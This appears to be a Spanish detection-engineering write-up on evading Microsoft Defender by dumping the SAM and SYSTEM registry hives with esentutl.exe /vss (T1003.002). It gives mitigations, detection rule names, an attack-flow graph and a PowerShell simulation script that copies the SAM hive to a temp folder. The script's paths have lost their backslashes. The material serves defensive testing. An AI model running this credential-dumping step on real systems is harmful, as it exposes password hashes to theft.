El Mes de los Evasores: Lo que Defender No Detecta
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El equipo de Seguridad Persistente describe una nueva forma de eludir la detección para la técnica de volcado de credenciales T1003.002 al abusar de la utilidad firmada de Windows esentutl.exe. Al usar las banderas relacionadas con VSS, la herramienta puede copiar las SAM and colmenas del registro SYSTEM sin activar Microsoft Defender de la misma manera que los métodos de volcado más comunes.
Investigación
Los investigadores probaron tres enfoques tradicionales para volcar las colmenas, incluyendo reg save, vssadmin creación de copia sombra y copia de archivos directa, y encontraron que Defender bloqueó cada uno de ellos. Luego utilizaron pruebas variantes asistidas por IA para identificar un camino alternativo: esentutl.exe podía acceder y extraer las colmenas a través de su funcionalidad VSS incorporada mientras evitaba las detecciones existentes de Defender.
Mitigación
Las defensas recomendadas incluyen restringir esentutl.exe a través de AppLocker o WDAC, crear reglas de Sysmon para detectar ejecuciones de esentutl que usan la bandera /vss y monitorear la actividad de copia sombra iniciada fuera del comportamiento normal del sistema. Las organizaciones también deberían implementar LAPS para las cuentas de administrador local y deshabilitar VSS donde no sea necesario operativamente.
Respuesta
If esentutl.exe se observa ejecutándose con la bandera /vss y escribiendo en archivos asociados con SAM or colmenas del registro SYSTEM, los defensores deben aislar el host afectado, recopilar evidencia de memoria y registro, confirmar si ocurrió volcado de credenciales, y aplicar los controles de política recomendados para prevenir la recurrencia.
graph TB %% Class Definitions classDef action fill:#99ccff classDef builtin fill:#cccccc classDef file fill:#ffdd99 %% Nodes action_esentutl_exec[«<b>Acción</b> – <b>T1218.002 Ejecución Proxy de Binario del Sistema</b><br/>Ejecutar esentutl.exe con los parámetros /y /vss para crear una Copia de Sombra de Volumen»] class action_esentutl_exec action tool_esentutl[«<b>Herramienta</b> – <b>Nombre</b>: esentutl.exe<br/><b>Descripción</b>: Utilidad interna de Windows para la gestión del Extensible Storage Engine»] class tool_esentutl builtin action_copy_hives[«<b>Acción</b> – <b>T1003 Volcado de Credenciales del Sistema Operativo</b><br/>Copiar los archivos de registro SAM y SYSTEM desde la copia sombra a una ubicación escribible»] class action_copy_hives action action_store_unsecured[«<b>Acción</b> – <b>T1552.001 Credenciales en Archivos</b><br/>Almacenar los archivos de registro volcados en disco para análisis offline posterior»] class action_store_unsecured action file_sam[«<b>Archivo</b> – sam_dump<br/><b>Contenido</b>: Hive SAM que contiene hashes de contraseñas»] class file_sam file file_sys[«<b>Archivo</b> – sys_dump<br/><b>Contenido</b>: Hive SYSTEM que contiene la clave de arranque del sistema»] class file_sys file %% Connections action_esentutl_exec –>|uses| tool_esentutl action_esentutl_exec –>|leads_to| action_copy_hives action_copy_hives –>|uses| tool_esentutl action_copy_hives –>|creates| file_sam action_copy_hives –>|creates| file_sys file_sam –>|used_by| action_store_unsecured file_sys –>|used_by| action_store_unsecured
Flujo de Ataque
Detecciones
LOLBAS Esentutl (a través de línea de comandos)
Ver
Actividad sospechosa de VSSADMIN (a través de línea de comandos)
Ver
Posible Volcado de SAM/SYSTEM/SECURITY (a través de línea de comandos)
Ver
Copiado sospechoso de SAM/SECURITY/NTDS.dit a través de Copia Sombra (a través de línea de comandos)
Ver
Detectar Ejecución de Esentutl con VSS para Evitar SAM Hive [Sysmon de Windows]
Ver
Evadir Extracción de SAM Hive a través de Esentutl y Copia Sombra WMI [Creación de Procesos de Windows]
Ver
Ejecución de Simulación
Prerequisito: La Verificación Previa de Telemetría y Base debe haber pasado.
Fundamento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntan a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
Un adversario que ha obtenido un punto de apoyo en un host de Windows comprometido desea cosechar hashes de credenciales sin activar las herramientas típicas de volcado de credenciales que normalmente son monitoreadas. El atacante aprovecha elesentutl.exebinario incorporado con el/vssconmutador para crear una copia sombra del volumen del sistema y extraer la colmena SAM protegida. Los pasos son:- Crear un directorio temporal para la exportación del instantánea.
- Invocar
esentutl.execon las banderas/y(sobrescribir) y/vss, dirigiéndose a la ruta de la colmena SAM. - Copiar el archivo SAM exportado a una ubicación bajo el control del atacante.
- (Opcional) Limpiar el archivo de instantánea temporal para reducir la huella forense.
Esta secuencia produce un evento Sysmon ProcessCreate donde
Imagetermina conesentutl.exeandCommandLinecontiene la cadena/vss, satisfaciendo la regla de detección. -
Script de Prueba de Regresión:
# ---------------------------------------------- # Simular extracción de SAM basada en VSS usando esentutl # ---------------------------------------------- $tempDir = "$env:TEMPVSS_Export" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null # Ruta a la colmena SAM (copia de solo lectura será exportada) $samHive = "$env:SystemRootSystem32configSAM" $outputFile = Join-Path $tempDir "SAM_copy.edb" # Ejecutar esentutl con VSS para exportar la colmena SAM $esentPath = "$env:SystemRootSystem32esentutl.exe" $arguments = "/y /vss `"$samHive`" `"$outputFile`"" Write-Host "Ejecutando: $esentPath $arguments" & $esentPath $arguments # Verificar que la exportación tuvo éxito if (Test-Path $outputFile) { Write-Host "Colmena SAM exportada a $outputFile" } else { Write-Warning "Exportación fallida o no se creó archivo." } # Limpiar archivo de instantánea (opcional, depende del comportamiento del SO) # Nota: Los archivos de instantáneas de VSS típicamente son autoeliminados después de la exportación. -
Comandos de Limpieza:
# Eliminar directorio y archivos de exportación temporales $tempDir = "$env:TEMPVSS_Export" if (Test-Path $tempDir) { Remove-Item -Recurse -Force -Path $tempDir Write-Host "Limpieza completa: $tempDir eliminado." } else { Write-Host "No se necesita limpieza; directorio no encontrado." }